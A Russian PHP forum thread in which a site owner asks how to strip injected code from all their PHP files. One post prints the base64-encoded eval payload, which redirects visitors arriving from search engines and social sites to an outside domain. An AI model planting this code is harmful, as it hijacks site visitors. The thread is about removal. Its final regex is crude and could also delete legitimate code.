Форум программистов, компьютерный форум, киберфорум
PHP: RegExp
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.71/7: Рейтинг темы: голосов - 7, средняя оценка - 4.71
63 / 1 / 3
Регистрация: 08.12.2010
Сообщений: 186
1

Поиск и замена в php

06.12.2012, 12:39. Показов 1379. Ответов 5

Author24 — интернет-сервис помощи студентам
На сайте появился вирус, перебекапливать уже надоело.

вобщем нужен скрипт, который будет находить код типа dfdfjdifjdfisdakh и заменять ну допустим на пробел или какой либо символ.
можно также искать только в *.php
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
06.12.2012, 12:39
Ответы с готовыми решениями:

Замена строки в PHP файле
Имеется 2 файла PHP: 1.php <?php $data=1000000000000000; $array=file("2.php","w"); //файл...

Поиск и замена (BB-коды)
Здравствуйте, форумчане. Это моя 3-яя тема на этом форуме. Подскажите, как при помощи функции...

Поиск и замена по условию
$string: =========================

Замена html кода на php код
Привет, мир! Знатоки php, подскажите как можно заменить html теги на php код? Т.е. у меня к примеру...

5
Почетный модератор
Эксперт HTML/CSSЭксперт PHP
16844 / 6724 / 880
Регистрация: 12.06.2012
Сообщений: 19,967
06.12.2012, 13:16 2
Цитата Сообщение от warza Посмотреть сообщение
будет находить код типа dfdfjdifjdfisdakh
так непонятно. Необходимы какие то критерии - какое-то число символов подряд неразрывно, какие то символы перед фразой, после, еще что-то..
0
63 / 1 / 3
Регистрация: 08.12.2010
Сообщений: 186
06.12.2012, 13:54  [ТС] 3
принцып

найти="алябурда вирусная fgsdgsdg4152df6rf6sdfs56dfr"

заменить на="гуд жаб"
0
Почетный модератор
Эксперт HTML/CSSЭксперт PHP
16844 / 6724 / 880
Регистрация: 12.06.2012
Сообщений: 19,967
06.12.2012, 14:51 4
PHP
1
2
3
$text = 'текст алябурда вирусная fgsdgsdg4152df6rf6sdfs56dfr текст fdsfsdf dsfsdf dsf s';
 
echo preg_replace('~алябурда\sвирусная\sfgsdgsdg4152df6rf6sdfs56dfr~ui', 'гуд жаб', $text);
либо объясните что значит ваша "алябурда вирусная", шаманить скрипты не умеют
0
63 / 1 / 3
Регистрация: 08.12.2010
Сообщений: 186
06.12.2012, 15:18  [ТС] 5
У меня во всех php файлах есть
сразу после <?php

PHP
1
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93d3cuYmFjay5sZmxpbmsuY29tIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));
это все дело необходимо заменить на // вешайся хакер

Добавлено через 13 минут
вот что нарыл

PHP
1
2
 $search_str="ЫЫЫЫ"; #что ищем
 $replace_str="АААА"; #чем заменяем
но если нужно найти ЫЫЫ"ЫЫЫ т.е. ковычки то их в экран ставить нада
0
Почетный модератор
Эксперт HTML/CSSЭксперт PHP
16844 / 6724 / 880
Регистрация: 12.06.2012
Сообщений: 19,967
06.12.2012, 15:30 6
PHP
1
echo preg_replace('~.*?eval\((.*?)\)\)?~uis', 'Вешайся, хакер!', $text);
0
06.12.2012, 15:30
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
06.12.2012, 15:30
Помогаю со студенческими работами здесь

preg_replace поиск и замена до первого совпадения
нужно заменить только первое найденное. как это сделать? Добавлено через 4 часа 38 минут...

Поиск и замена подстроки в определённой строке
Стоит задача такая. Есть текст &lt;p&gt;Во всех остальных случаях вы можете рассчитывать на получение...

Поиск и замена слова между пробелами и символами
Здрасьте! Как мне найти в тексте вхождение подстроки и заменить не часть этого вхождения, а...

Поиск повторяющегося html кода и замена повторов на другой
Здравствуйте уважаемые знатоки! Сегодня я к вам присоединился и не успев еще влиться в коллектив,...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru